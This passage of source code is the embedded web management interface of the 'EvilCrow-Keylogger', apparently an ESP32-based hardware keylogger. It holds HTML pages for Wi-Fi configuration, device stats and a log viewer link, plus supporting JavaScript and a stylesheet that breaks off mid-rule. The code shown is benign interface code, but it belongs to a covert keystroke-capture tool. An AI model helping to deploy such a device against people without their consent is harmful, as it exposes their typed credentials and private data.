<!DOCTYPE HTML>
<html>
<head>
  <title>EvilCrow-Keylogger</title>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
  <meta name="apple-mobile-web-app-capable" content="yes">
  <meta name="apple-mobile-web-app-status-bar-style" content="black">
  <link rel="stylesheet" href="style.css">
  <script src="javascript.js"></script>
  <style>
    .logo-with-status {
        display: flex;
        align-items: center;
        justify-content: center;
        gap: 10px;
    }
  </style>
</head>

<body>
  <div id="global-toast" class="toast-container"></div>

  <!-- Menu -->
  <nav id='menu'>
    <input type='checkbox' id='responsive-menu'><label for='responsive-menu'></label>
    <ul>
            <li><a href="/">Home</a></li>
            <li><a href="/viewlog">Log Viewer</a></li>
            <li><a href="/config">Config</a></li>
    </ul>
  </nav>

  <div class="logo-with-status">
    <div class="keylogger-logo">CONFIGURATION</div>
    <span class="status-indicator status-offline"></span>
  </div>

  <div class="view-container">

    <!-- Wi-Fi Config -->
    <form id="wifiForm">
      <div class="section-header">WIFI</div>

      <div class="form-group">
        <label for="ssid">Wi-Fi SSID:</label>
        <input type="text" id="ssid" name="ssid" required class="terminal-style single-line-input">
      </div>

      <div class="form-group">
        <label for="password">Wi-Fi Password:</label>
        <input type="password" id="password" name="password" required class="terminal-style single-line-input">
      </div>

      <button type="button" onclick="applyWiFi()">Apply Wi-Fi</button>
      <button type="button" name="deleteWifiButton" onclick="deleteWiFiConfig()">Delete Wi-Fi Config</button>
    </form>

    <hr>

    <div class="config-buttons-container">
      <button type="button" name="clearCacheButton" onclick="clearCache()">Clear Device Cache</button>
      <button type="button" name="rebootDeviceButton" onclick="rebootDevice()">Reboot Device</button>
    </div>

    <p class="payload-desc">Reload of CSS/JS files.</p>
  </div>

  <script>
    function applyWiFi() {
      const ssid = document.getElementById('ssid').value.trim();
      const password = document.getElementById('password').value.trim();

      if (!ssid || !password) {
        showMessage('error', 'SSID and password are required');
        return;
      }

      fetch('/updatewifi', {
        method: 'POST',
        headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
        body: new URLSearchParams({ ssid, password })
      })
      .then(response => response.json())
      .then(data => {
        if (data.status === 'success') {
          showMessage('success', data.message);
        } else {
          showMessage('error', data.message);
        }
      })
      .catch(error => {
        showMessage('error', 'Error applying Wi-Fi settings');
        console.error('Error:', error);
      });
    }

    function deleteWiFiConfig() {
      if (confirm('Are you sure you want to delete the Wi-Fi configuration?')) {
        fetch('/deletewificonfig', { method: 'POST' })
          .then(response => response.json())
          .then(data => {
            if (data.status === 'success') {
              showMessage('success', data.message || 'Wi-Fi configuration deleted!');
            } else {
              showMessage('error', data.message || 'Error deleting Wi-Fi config');
            }
          })
          .catch(error => {
            showMessage('error', 'Error deleting Wi-Fi configuration: ' + error.message);
          });
      }
    }

    function clearCache() {
      const links = document.querySelectorAll('link[rel="stylesheet"], script[src]');
      links.forEach(link => {
        const url = new URL(link.href || link.src);
        url.searchParams.set('nocache', Date.now());
        link.href = url.toString();
      });
      showMessage('success', 'Cache cleared! Refreshing...');
      setTimeout(() => location.reload(true), 1000);
    }

    function rebootDevice() {
      if (confirm('Are you sure you want to reboot the device?')) {
        showMessage('info', 'Device rebooting... Please wait');
        fetch('/reboot', { method: 'POST' }).catch(() => {
          console.log('Evil Crow Keylogger is rebooting, ignoring fetch error');
        });
      }
    }

    function showMessage(type, text) {
      const container = document.getElementById('global-toast');
      const toast = document.createElement('div');
      toast.className = `toast-message ${type}`;
      toast.textContent = text;
      container.appendChild(toast);
      setTimeout(() => toast.remove(), 4000);
    }

    function checkConnection() {
      fetch('/connectioncheck')
        .then(response => response.json())
        .then(data => {
          const indicator = document.querySelector('.status-indicator');
          if (indicator) {
            indicator.classList.remove('status-offline', 'status-online');
            if (data.status === 'ok') {
              indicator.classList.add('status-online');
            } else {
              indicator.classList.add('status-offline');
            }
          }
        })
        .catch(error => {
          const indicator = document.querySelector('.status-indicator');
          if (indicator) {
            indicator.classList.remove('status-offline', 'status-online');
            indicator.classList.add('status-offline');
          }
        });
    }

    document.addEventListener('DOMContentLoaded', () => {
      checkConnection();
      setInterval(checkConnection, 5000);
    });
  </script>
</body>
</html>
)=====";


================================================
FILE: code/ESP32/index.h
================================================
const char Index[] PROGMEM = R"=====(
<!DOCTYPE HTML>
<html>
<head>
    <title>EvilCrow-Keylogger</title>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <meta name="apple-mobile-web-app-capable" content="yes">
    <meta name="apple-mobile-web-app-status-bar-style" content="black">
    <link rel="stylesheet" href="style.css">
    <script src="javascript.js"></script>
</head>
<body>
    <div id="global-toast" class="toast-container"></div>
    <nav id="menu">
        <input type="checkbox" id="responsive-menu">
        <label for="responsive-menu"></label>
        <ul>
            <li><a href="/">Home</a></li>
            <li><a href="/viewlog">Log Viewer</a></li>
            <li><a href="/config">Config</a></li>

        </ul>
        </nav>

    <div class="keylogger-logo">EvilCrow-Keylogger</div>

    <div class="view-container">
        <div class="stat-container">
            <div class="stat-group">
                <strong>Connection Status: <span class="status-indicator status-offline"></span></strong>
            </div>
            <div class="stat-group">
                <strong>Firmware:</strong> <span id="firmware">v1.1</span>
            </div>
            <div class="stat-group">
                <strong>Uptime:</strong> <span id="uptime">N/A</span>
            </div>
            <div class="stat-group">
                <strong>CPU Temperature:</strong> <span id="temperature">N/A</span>
            </div>
            <div class="stat-group">
                <strong>CPU Core 0 Frequency:</strong> <span id="cpu0">N/A</span>
            </div>
            <div class="stat-group">
                <strong>CPU Core 1 Frequency:</strong> <span id="cpu1">N/A</span>
            </div>
            <div class="stat-group">
                <strong>Free SPIFFS Memory:</strong> <span id="freespiffs">N/A</span>
            </div>
            <div class="stat-group">
                <strong>Total RAM:</strong> <span id="totalram">N/A</span>
            </div>
            <div class="stat-group">
                <strong>Free RAM:</strong> <span id="freeram">N/A</span>
            </div>
        </div>
    </div>

    <script>
        document.addEventListener('DOMContentLoaded', function() {
            
            if (typeof setupNavigation === 'function') {
                setupNavigation();
            }
            
            if (typeof checkConnection === 'function') {
                checkConnection();
            }
            
            if (typeof checkConnection === 'function') {
                setInterval(checkConnection, 5000);
            }
            
            isNavigating = false;
            document.body.classList.remove('page-loading');
        });
    </script>
</body>
</html>
)=====";


================================================
FILE: code/ESP32/javascript.h
================================================
const char Javascript[] PROGMEM = R"=====(
// Track navigation state and abort controller globally
let isNavigating = false;
let abortControllers = [];
let navigationTimeout = null;
const isHomePage = window.location.pathname === '/' || window.location.pathname === '/index.html';
let lastConnectionCheck = 0;

function checkConnection() {
    const now = Date.now();
    if (now - lastConnectionCheck < 2000) return;
    lastConnectionCheck = now;

    if (isNavigating) {
        abortAllRequests();
        return;
    }

    const controller = new AbortController();
    abortControllers.push(controller);

    const timeout = setTimeout(() => controller.abort(), 1500);

    fetch(isHomePage ? '/stats' : '/connectioncheck', { 
        signal: controller.signal 
    })
    .then(response => {
        clearTimeout(timeout);
        if (isNavigating) return;
        if (isHomePage) {
            return response.json().then(data => {
                updateStats(data);
            });
        } else {
            updateConnectionStatus(response.ok);
            return response.json();
        }
    })
    .catch(error => {
        clearTimeout(timeout);
        if (error.name !== 'AbortError' && !isNavigating) {
            updateConnectionStatus(false);
            if (isHomePage) {
                document.getElementById('uptime').innerText = 'N/A';
                document.getElementById('cpu0').innerText = 'N/A';
                document.getElementById('cpu1').innerText = 'N/A';
                document.getElementById('temperature').innerText = 'N/A';
                document.getElementById('freespiffs').innerText = 'N/A';
                document.getElementById('totalram').innerText = 'N/A';
                document.getElementById('freeram').innerText = 'N/A';
            }
        }
    });
}

function abortAllRequests() {
    abortControllers.forEach(controller => controller.abort());
    abortControllers = [];
}

function setupNavigation() {
    const links = document.querySelectorAll("#menu a");

    links.forEach(link => {
        link.addEventListener('click', function(e) {
            if (this.classList.contains('active')) {
                e.preventDefault();
                return;
            }

            isNavigating = true;
            abortAllRequests();
            document.body.classList.add('page-loading');

            if (/iPad|iPhone|iPod/.test(navigator.userAgent)) {
                e.preventDefault();
                setTimeout(() => {
                    window.location.replace(this.href);
                }, 50);
            } else {
                setTimeout(() => {
                    window.location.href = this.href;
                }, 100);
            }
        });
    });

    const currentPath = window.location.pathname;
    links.forEach(link => {
        if (link.getAttribute('href') === currentPath) {
            link.classList.add('active');
        } else {
            link.classList.remove('active');
        }
    });
}

window.addEventListener('load', () => {
    isNavigating = false;
    document.body.classList.remove('page-loading');
});

function updateConnectionStatus(isOnline) {
    document.querySelectorAll('.status-indicator').forEach(indicator => {
        indicator.classList.toggle('status-online', isOnline);
        indicator.classList.toggle('status-offline', !isOnline);
    });

    if (window.location.pathname !== '/') {
        document.querySelectorAll('.keylogger-logo').forEach(title => {
            title.classList.toggle('online', isOnline);
            title.classList.toggle('offline', !isOnline);
        });
    }
}

function updateStats(data) {
    if (data.uptime) document.getElementById('uptime').innerText = formatUptime(data.uptime);
    if (data.cpu0) document.getElementById('cpu0').innerText = data.cpu0 + ' MHz';
    if (data.cpu1) document.getElementById('cpu1').innerText = data.cpu1 + ' MHz';
    if (data.temperature) document.getElementById('temperature').innerText = data.temperature.toFixed(1) + ' °C';
    if (data.freespiffs) document.getElementById('freespiffs').innerText = formatBytes(data.freespiffs);
    if (data.totalram) document.getElementById('totalram').innerText = formatBytes(data.totalram);
    if (data.freeram) document.getElementById('freeram').innerText = formatBytes(data.freeram);
    updateConnectionStatus(true);
}

function formatBytes(bytes) {
    if (bytes === 0) return '0 Bytes';
    const k = 1024;
    const sizes = ['Bytes', 'KB', 'MB', 'GB'];
    const i = Math.floor(Math.log(bytes) / Math.log(k));
    return parseFloat((bytes / Math.pow(k, i)).toFixed(2)) + ' ' + sizes[i];
}

function formatUptime(seconds) {
    const days = Math.floor(seconds / 86400);
    const hours = Math.floor((seconds % 86400) / 3600);
    const minutes = Math.floor((seconds % 3600) / 60);
    const secs = seconds % 60;
    
    if (days > 0) return `${days}d ${hours}h ${minutes}m ${secs}s`;
    else if (hours > 0) return `${hours}h ${minutes}m ${secs}s`;
    else if (minutes > 0) return `${minutes}m ${secs}s`;
    else return `${secs}s`;
}

function showMessage(type, text) {
    const container = document.getElementById('global-toast') || document.createElement('div');
    if (!container.id) {
        container.id = 'global-toast';
        container.className = 'toast-container';
        document.body.appendChild(container);
    }
    
    const toast = document.createElement('div');
    toast.className = `toast-message ${type}`;
    
    const messageSpan = document.createElement('span');
    messageSpan.textContent = text;
    
    const closeButton = document.createElement('span');
    closeButton.className = 'toast-close';
    closeButton.innerHTML = '&times;';
    closeButton.onclick = () => {
        toast.style.animation = 'toastFadeOut 0.3s ease-out';
        setTimeout(() => toast.remove(), 300);
    };
    
    toast.appendChild(messageSpan);
    toast.appendChild(closeButton);
    container.appendChild(toast);
    
    const timer = setTimeout(() => {
        toast.style.animation = 'toastFadeOut 0.3s ease-out';
        setTimeout(() => toast.remove(), 300);
    }, 5000);
    
    closeButton.onclick = () => {
        clearTimeout(timer);
        toast.style.animation = 'toastFadeOut 0.3s ease-out';
        setTimeout(() => toast.remove(), 300);
    };
}

document.addEventListener('touchstart', function(event) {
    if (event.touches.length > 1) event.preventDefault();
}, { passive: false });

document.addEventListener('gesturestart', function(e) {
    e.preventDefault();
});

document.addEventListener("DOMContentLoaded", function () {
    console.log('EvilCrow Keylogger - Initializing...');
    setupNavigation();
    isNavigating = false;
    document.body.classList.remove('page-loading');
    setInterval(checkConnection, 5000);
    checkConnection();
    console.log('EvilCrow Keylogger - Initialization complete');
});

if (document.readyState === 'complete' || document.readyState === 'interactive') {
    setTimeout(() => {
        if (typeof setupNavigation === 'function') setupNavigation();
        if (typeof checkConnection === 'function') {
            setInterval(checkConnection, 5000);
            checkConnection();
        }
    }, 100);
}
)=====";


================================================
FILE: code/ESP32/style.h
================================================
const char Style[] PROGMEM = R"=====(
:root {
  --primary: #00f2ff;
  --secondary: #00ff88;
  --accent: #ff00aa;
  --dark: #0a0a12;
  --darker: #050508;
  --light: #f0f0ff; /* Changed from #e0e0ff */
  --success: #00ff88;
  --error: #ff0033;
  --warning: #ffaa00;
}

body {
  background-color: #000000; /* Pure black */
  color: var(--light);
  font-family: 'Courier New', monospace;
  margin: 0;
  padding: 0;
  overflow-x: hidden;
  line-height: 1.6;
}

/* Header/Navigation - Mobile First */
#menu {
  background: var(--darker);
  border-bottom: 1px solid var(--primary);
  box-shadow: 0 0 15px rgba(0, 242, 255, 0.3);
  padding: 10px 0;
  position: relative; /* Changed from sticky to relative */
  top: auto; /* Remove sticky positioning */
  z-index: 100;
}

#menu ul {
  display: none;
  flex-direction: column;
  padding: 0;
  margin: 0;
  list-style: none;
  width: 100%;
}

#menu li {
  margin: 5px 0;
  position: relative;
}

#menu a {
  color: var(--light);
  text-decoration: none;
  padding: 10px 15px;
  display: block;
  transition: all 0.3s;
  position: relative;
  -webkit-tap-highlight-color: transparent;
  touch-action: manipulation; /* Disable double-tap zoom */
}

#menu a:hover {
  color: var(--primary);
  background: rgba(0, 242, 255, 0.1);
  will-change: width; 
}

#menu a::after {
  content: '';
  position: absolute;
  bottom: 0;
  left: 50%;
  transform: translateX(-50%);
  width: 0;
  height: 2px;
  background: var(--primary);
  transition: width 0.3s;
}

#menu a:hover::after {
  width: 70%;
}

#menu .usb-icon {
  vertical-align: middle;
  margin-right: 5px;
}

/* Active menu item */
#menu a.active {
  color: var(--primary);
  font-weight: bold;
}

#menu a.active::after {
  width: 70%;
}

/* Hamburger menu - Mobile - Left side */
#responsive-menu + label {
  display: block;
  cursor: pointer;
  padding: 5px 15px;
  position: absolute;
  top: 0;
  left: 0;
  z-index: 101;
  background: var(--darker); /* Add background to match menu */
}

#responsive-menu + label::before {
  content: "☰";
  font-size: 1.5em;
  color: var(--primary);
}

#responsive-menu:checked + label::before {
  content: "✕";
}

#responsive-menu:checked ~ ul {
  display: flex;
  flex-direction: column;
  align-items: center; /* Center menu items */
  text-align: center; /* Center text */
  padding-top: 60px; /* Make space for hamburger */
}

/* Adjust menu items for centered layout */
#responsive-menu:checked ~ ul li {
  width: 100%;
  text-align: center;
}

#responsive-menu:checked ~ ul a {
  justify-content: center;
}

/* Main content */
.view-container {
  -webkit-transform: translate3d(0,0,0);
  transform: translateZ(0);
  will-change: transform;
  background: rgba(10, 10, 18, 0.8);
  border: 1px solid var(--primary);
  border-radius: 5px;
  padding: 15px;
  margin-top: 20px;
  margin: 15px auto;
  max-width: 900px;
  box-shadow: 0 0 20px rgba(0, 242, 255, 0.1);
  position: relative;
  overflow: hidden;
  min-height: 350px;
}

.view-container::before {
  content: "";
  position: absolute;
  top: 0;
  left: 0;
  width: 100%;
  height: 3px;
  background: linear-gradient(90deg, var(--primary), var(--secondary));
}

/* Buttons */
button, input[type="submit"], input[type="button"] {
  background: linear-gradient(135deg, var(--primary), var(--secondary));
  color: var(--darker);
  border: none;
  padding: 5px 5px;
  font-weight: bold;
  border-radius: 3px;
  cursor: pointer;
  transition: all 0.3s;
  text-transform: uppercase;
  letter-spacing: 1px;
  position: relative;
  overflow: hidden;
  font-family: 'Courier New', monospace;
  font-size: 12px;
  margin: 5px;
  min-height: 44px;
}

button:hover, input[type="submit"]:hover, input[type="button"]:hover {
  transform: translateY(-2px);
  box-shadow: 0 5px 15px rgba(0, 242, 255, 0.4);
}

button::after {
  content: "";
  position: absolute;
  top: 0;
  left: -100%;
  width: 100%;
  height: 100%;
  background: linear-gradient(90deg, transparent, rgba(255, 255, 255, 0.2), transparent);
  transition: 0.5s;
}

button:hover::after {
  left: 100%;
}

button[name="deleteWifiButton"], 
button[name="deleteUSBButton"],
button[name="deleteBackupWifiButton"],
button[name="clearCacheButton"] {
  background: linear-gradient(135deg, var(--error), #cc0022);
}

button[name="deleteAllPayloads"] {
    background: linear-gradient(135deg, var(--error), #cc0022);
    min-width: auto;
    margin: 0;
    width: auto;
    flex-shrink: 0;
    white-space: nowrap; /* Prevent text wrapping */
}

/* Input fields - Improved for mobile */
/* Form inputs - one line height */
input:not([type="checkbox"]):not([type="file"]),
select {
  height: 36px; /* Fixed height for single-line inputs */
  padding: 8px 12px;
  line-height: 1.2;
}

textarea {
  min-height: 100px; /* Keep textareas taller */
  resize: none;
}

* {
  -webkit-tap-highlight-color: transparent;
}

.single-line-input {
  height: 36px !important;
  line-height: 36px !important;
  padding: 0 12px !important;
}

input, textarea, select {
  background: rgba(0, 0, 0, 0.3);
  border: 1px solid var(--primary);
  color: var(--light);
  padding: 8px 12px;
  border-radius: 3px;
  width: 100%;
  margin-bottom: 12px;
  font-family: 'Courier New', monospace;
  transition: all 0.3s;
  box-sizing: border-box;
  font-size: 16px !important;
}

input:focus, textarea:focus, select:focus {
  outline: none;
  border-color: var(--secondary);
  box-shadow: 0 0 10px rgba(0, 255, 136, 0.3);
}*/

input[type="checkbox"] {
  width: auto;
  margin-right: 10px;
}

/* Form groups - Improved spacing */
.form-group {
  margin-bottom: 15px;
}

.form-group label {
  display: block;
  margin-top: 10px;
  margin-bottom: 6px;
  color: var(--primary);
  font-weight: bold;
  font-size: 1em;
}

/* Validation styles */
#validationStatus {
  display: block;
  font-size: 0.85em;
  white-space: pre-wrap;
  font-family: 'Courier New', monospace;
  background-color: rgba(10, 10, 10, 0.9);
  padding: 8px;
  border-radius: 3px;
  border-left: 3px solid var(--error);
  margin-top: 5px;
}

.validation-ok {
  color: var(--success);
  border-left-color: var(--success) !important;
}

.validation-error {
  color: var(--error);
}

.validation-empty {
    color: #666; /* Gray color for empty state */
    font-style: italic;
    display: block; /* Ensure it's visible */
}

/* Desktop specific styles */
@media (min-width: 768px) {
  #validationStatus {
    padding-left: 30px;
    text-indent: -20px;
    line-height: 1.4;
  }
  
  #validationStatus::before {
    content: "→ ";
    color: var(--primary);
    margin-right: 5px;
  }
}

/* Mobile specific styles */
@media (max-width: 767px) {
  #validationStatus {
    padding-left: 15px;
  }
}

/* Payload list */
.payload-list-container {
  display: grid;
  grid-template-columns: repeat(auto-fill, minmax(280px, 1fr));
  gap: 12px;
  margin: 15px 0;
}

.payload-item {
    border: 1px solid var(--primary);
    border-radius: 3px;
    padding: 12px;
    margin-bottom: 12px;
    background-color: rgba(10, 10, 10, 0.9);
}

.payload-desc {
    color: #aaa;
    font-size: 0.85em;
    margin: 8px 0;
    line-height: 1.4;
    max-height: 2.8em; /* 2 lines */
    overflow: hidden;
    text-overflow: ellipsis;
    display: -webkit-box;
    -webkit-line-clamp: 2;
    -webkit-box-orient: vertical;
    white-space: pre-line;
}

.payload-filename {
    color: #666;
    font-size: 0.75em;
    font-family: monospace;
}

.payload-item, .payload-item-os {
  border: 1px solid var(--primary);
  border-radius: 3px;
  padding: 12px;
  transition: all 0.3s;
  position: relative;
  background-color: rgba(10, 10, 10, 0.9); /* Darker than before */
}

.payload-item:hover, .payload-item-os:hover {
  transform: translateY(-5px);
  box-shadow: 0 10px 20px rgba(0, 242, 255, 0.2);
  border-color: var(--secondary);
}

.payload-item::before, .payload-item-os::before {
  content: "";
  position: absolute;
  top: 0;
  left: 0;
  width: 3px;
  height: 100%;
  background: linear-gradient(to bottom, var(--primary), var(--secondary));
}

.payload-description-content {
    padding: 0 15px;
    text-align: left;
    font-size: 0.9em;
    line-height: 1.5;
    margin: 0;
    text-indent: 0;
    white-space: pre-line;
}

.payload-description-content p:first-child,
.payload-description-content div:first-child {
    margin-top: 0;
    text-indent: 0;
}

.payload-description-header {
    text-align: center;
    padding: 12px;
    cursor: pointer;
    background: rgba(5, 5, 8, 0.7);
    border-bottom: 1px solid var(--primary);
}

/* Payload Description Styles */
.payload-description-container {
    border: 1px solid var(--primary);
    border-radius: 5px;
    margin: 15px 0;
    overflow: hidden;
    background: rgba(10, 10, 18, 0.8);
}

.payload-description-header {
    padding: 12px 15px;
    cursor: pointer;
    display: flex;
    justify-content: space-between;
    align-items: center;
    color: var(--primary);
    font-weight: bold;
    transition: all 0.3s;
    background: rgba(5, 5, 8, 0.7);
}

.payload-description-header:hover {
    background: rgba(0, 242, 255, 0.1);
}

.payload-description-content.expanded {
    max-height: 500px;
    overflow-y: auto;
    white-space: pre-line;
}

.toggle-icon {
    font-size: 0.8em;
    transition: transform 0.3s;
    margin-left: 10px;
}

.payload-filename {
  color: #666;
  font-size: 11px;
  font-family: monospace;
}

/* Terminal style elements */
.terminal-style, .payload-container pre, textarea.payload-input {
  border: 1px solid var(--primary);
  color: var(--secondary);
  padding: 12px;
  border-radius: 3px;
  font-family: 'Courier New', monospace;
  position: relative;
  width: 100%;
  overflow: auto;
  max-height: 80vh;
  height: 20em;
  resize: vertical;
  white-space: pre-wrap;
  word-wrap: break-word;
  box-sizing: border-box;
  background-color: rgba(10, 10, 10, 0.9); /* Darker than before */
}

/* Toast notifications - Centered below menu */
.toast-container {
  position: fixed;
  top: 80px; /* Below the menu */
  left: 0;
  right: 0;
  z-index: 1000;
  width: 90%;
  max-width: 400px;
  margin: 0 auto;
  text-align: center;
}

.toast-message {
  position: relative;
  padding: 15px 20px;
  margin-bottom: 10px;
  border-radius: 4px;
  color: white;
  box-shadow: 0 3px 10px rgba(0, 0, 0, 0.2);
  animation: toastSlideDown 0.3s ease-out;
  pointer-events: auto;
  display: flex;
  justify-content: space-between;
  align-items: center;
  background-color: var(--darker);
  border-top: 3px solid; /* Changed from border-left to border-top */
}

@keyframes toastSlideDown {
  from { 
    opacity: 0;
    transform: translateY(-30px);
  }
  to { 
    opacity: 1;
    transform: translateY(0);
  }
}

@keyframes toastFadeOut {
  from { 
    opacity: 1;
    transform: translateY(0);
  }
  to { 
    opacity: 0;
    transform: translateY(-30px);
  }
}

.toast-message.success {
  border-top-color: var(--success); /* Changed from border-left */
  color: var(--success);
}

.toast-message.error {
  border-top-color: var(--error); /* Changed from border-left */
  color: var(--error);
}

.toast-message.warning {
  border-top-color: var(--warning); /* Changed from border-left */
  color: var(--warning);
}

.toast-close {
  cursor: pointer;
  margin-left: 12px;
  font-size: 1.1em;
  color: inherit;
}

/* OS boxes for autoexec - Mobile optimized */
.os-container {
  display: flex;
  flex-wrap: wrap;
  justify-content: space-between;
  margin: 15px 0;
  gap: 12px;
}

.os-box {
  flex: 1 1 150px;
  min-height: 120px;
  border: 2px dashed var(--primary);
  border-radius: 5px;
  padding: 12px;
  background-color: rgba(51, 51, 51, 0.3);
  text-align: center;
  position: relative;
  transition: all 0.3s;
}

.os-box.highlight {
  border-color: var(--secondary);
  background-color: rgba(0, 122, 255, 0.1);
}

.os-box h3 {
  margin-top: 0;
  color: var(--primary);
  border-bottom: 1px solid var(--primary);
  padding-bottom: 5px;
  font-size: 16px;
}

.payload-preview {
  background-color: rgba(0, 0, 0, 0.5);
  border-radius: 5px;
  padding: 8px;
  margin: 8px 0;
  word-break: break-word;
  font-size: 13px;
}

.payload-item-os {
  position: relative;
  z-index: 1;
  margin-bottom: 5px; /* Ensure spacing between items */
}

/* Command tables */
.command-table {
  width: 100%;
  border-collapse: collapse;
  margin: 15px 0;
  font-size: 0.85em;
  color: var(--light);
}

.command-table th, .command-table td {
  padding: 6px 10px;
  border: 1px solid var(--primary);
  text-align: left;
}

.command-table th {
  background-color: rgba(68, 68, 68, 0.5);
  font-weight: bold;
  color: var(--primary);
}

.command-table tr:nth-child(even) {
  background-color: rgba(51, 51, 51, 0.3);
}

.command-table tr:hover {
  background-color: rgba(85, 85, 85, 0.3);
}

.command-cell {
  cursor: pointer;
  transition: background-color 0.2s;
}

.command-cell:hover {
  background-color: rgba(0, 122, 255, 0.2) !important;
}

/* Special Keylogger elements */
.keylogger-logo {
  -webkit-backface-visibility: hidden;
  -webkit-transform: translate3d(0,0,0);
  transform: translateZ(0);
  text-align: center;
  margin: 25px 0 15px 0; /* Increased top margin */
  font-size: 2em;
  text-transform: uppercase;
  letter-spacing: 1px;
  color: var(--primary);
  text-shadow: 0 0 8px var(--primary);
  position: relative;
  z-index: 1;
}

.clickable-os {
  cursor: pointer;
  color: var(--primary);
  text-decoration: underline;
  transition: color 0.3s;
}

.clickable-os:hover {
  color: var(--secondary);
}

/* Button containers */
.button-container, .button-container-os {
  display: flex;
  flex-wrap: wrap;
  justify-content: center;
  gap: 8px;
  margin: 15px 0;
}

.button-container button, 
.button-container-os button {
  flex: auto;
  min-width: 100px;
  background: linear-gradient(135deg, var(--primary), var(--secondary));
  color: var(--darker);
  border: none;
  padding: 10px 20px;
  font-weight: bold;
  border-radius: 3px;
  cursor: pointer;
  transition: all 0.3s;
  min-width: 100px; /* Fixed minimum width */
  width: 100px; /* Fixed width */
  text-transform: uppercase;
  letter-spacing: 1px;
  position: relative;
  overflow: hidden;
  font-family: 'Courier New', monospace;
  font-size: 14px;
  margin: 5px;
  min-height: 44px;
  white-space: nowrap; /* Prevent text wrapping */
  margin-left: auto; /* Push to the right */
  flex-shrink: 0; /* Prevent shrinking */
}

.select-os-btn {
    /* Make button wider to accommodate longer text */
    width: 140px;
    min-width: 140px;
    max-width: 140px;
    /* Visual styling */
    background: linear-gradient(135deg, var(--primary), var(--secondary));
    color: var(--darker);
    border: none;
    padding: 10px 8px;
    font-weight: bold;
    border-radius: 3px;
    cursor: pointer;
    transition: all 0.3s;
    /* Text styling */
    text-transform: uppercase;
    letter-spacing: 1px;
    font-family: 'Courier New', monospace;
    font-size: 12px;
    white-space: nowrap;
    overflow: hidden;
    text-overflow: ellipsis;
    /* Positioning */
    position: relative;
    margin: 0px;
    flex-shrink: 0;
    display: inline-flex;
    align-items: center;
    justify-content: center;
    margin-left: auto;
}

.button-container button:hover, 
.button-container-os button:hover,
.select-os-btn:hover {
  transform: translateY(-2px);
  box-shadow: 0 5px 15px rgba(0, 242, 255, 0.4);
}


.button-container button::after, 
.button-container-os button::after,
.select-os-btn::after {
  content: "";
  position: absolute;
  top: 0;
  left: -100%;
  width: 100%;
  height: 100%;
  background: linear-gradient(90deg, transparent, rgba(255, 255, 255, 0.2), transparent);
  transition: 0.5s;
}

.button-container button:hover::after, 
.button-container-os button:hover::after,
.select-os-btn:hover::after {
  left: 100%;
}

/* HR styling */
hr {
  border: none;
  height: 1px;
  background-color: var(--primary);
  margin: 15px 0;
}

/* Stat containers */
.stat-container {
  display: flex;
  flex-wrap: wrap;
  justify-content: center;
  gap: 12px;
  margin: 15px 0;
}

.stat-group {
  flex: 1 1 180px;
  border: 1px solid var(--primary);
  border-radius: 5px;
  padding: 12px;
  min-width: 0;
  background-color: rgba(10, 10, 10, 0.9); /* Darker than before */
}

/* Form containers */
.config-container {
  background: rgba(51, 51, 51, 0.3);
  border: 1px solid var(--primary);
  border-radius: 5px;
  padding: 15px;
  margin: 15px auto;
  max-width: 600px;
}

/* Config page specific buttons */
.config-buttons-container {
    display: flex;
    justify-content: space-between;
    margin: 15px 0;
    width: 100%;
}

.config-buttons-container button {
    width: 48%;
    min-width: auto;
    margin: 0;
}

button[name="clearCacheButton"] {
    background: linear-gradient(135deg, var(--error), #cc0022);
}

button[name="rebootDeviceButton"] {
    background: linear-gradient(135deg, var(--warning), #ff6600);
}

/* Metadata form */
#metadataForm {
  background: rgba(51, 51, 51, 0.5);
  border: 1px solid var(--primary);
  border-radius: 5px;
  padding: 15px;
  margin: 15px 0;
  display: none;
}

/* Payload buttons */
a.pyaloadButton {
  background: linear-gradient(135deg, var(--primary), var(--secondary));
  color: var(--darker);
  border: none;
  padding: 10px 12px;
  font-weight: bold;
  border-radius: 3px;
  display: block;
  text-align: center;
  text-decoration: none;
  margin: 8px 0;
  transition: all 0.3s;
}

a.pyaloadButton:hover {
  transform: translateY(-2px);
  box-shadow: 0 5px 15px rgba(0, 242, 255, 0.4);
}

/* Responsive design */
/* Hide only the hamburger menu checkbox (not other inputs) */
#responsive-menu {
  position: absolute;
  width: 1px;
  height: 1px;
  padding: 0;
  margin: -1px;
  overflow: hidden;
  clip: rect(0, 0, 0, 0);
  white-space: nowrap;
  border: 0;
}

@media (min-width: 768px) {
  /* Show regular menu on desktop */
  #menu ul {
    display: flex !important; /* Important to override the checked state */
    flex-direction: row;
    justify-content: center;
    flex-wrap: wrap;
  }

  #menu li {
    margin: 0 15px;
  }
  
  /* Hide hamburger menu on desktop */
  #responsive-menu,
  #responsive-menu + label {
    display: none !important;
  }

  /* Force menu to always be visible on desktop */
  #menu ul {
    display: flex !important;
    flex-direction: row;
  }

  /* Hide hamburger menu on desktop */
  #responsive-menu {
    display: none !important;
  }
  
  /* Adjust container sizes for desktop */
  .view-container {
    padding: 20px;
    margin: 20px auto;
    min-height: 350px;
  }
  
  .os-box {
    flex: 1 1 200px;
    min-height: 150px;
  }
  
  .terminal-style, textarea.payload-input {
    height: 23em;
  }
  
  .keylogger-logo {
    -webkit-backface-visibility: hidden;
    -webkit-transform: translate3d(0,0,0);
    transform: translateZ(0);
    font-size: 2.5em;
  }
}

/* OS Selection Modal */
.os-modal {
    position: fixed;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background-color: rgba(0, 0, 0, 0.8);
    display: flex;
    justify-content: center;
    align-items: center;
    z-index: 10000;
}

.os-modal-content {
    background: var(--darker);
    border: 2px solid var(--primary);
    border-radius: 8px;
    padding: 20px;
    max-width: 90%;
    width: 400px;
    box-shadow: 0 0 20px rgba(0, 242, 255, 0.5);
}

.os-modal h3 {
    color: var(--primary);
    margin-top: 0;
    text-align: center;
}

.os-options {
    display: grid;
    grid-template-columns: 1fr 1fr;
    gap: 10px;
    margin: 20px 0;
}

.os-options button {
    background: linear-gradient(135deg, var(--primary), var(--secondary));
    color: var(--darker);
    border: none;
    padding: 12px;
    border-radius: 4px;
    font-weight: bold;
    cursor: pointer;
    transition: all 0.3s;
}

.os-options button:hover {
    transform: translateY(-2px);
    box-shadow: 0 5px 15px rgba(0, 242, 255, 0.4);
}

.close-modal {
    background: var(--error) !important;
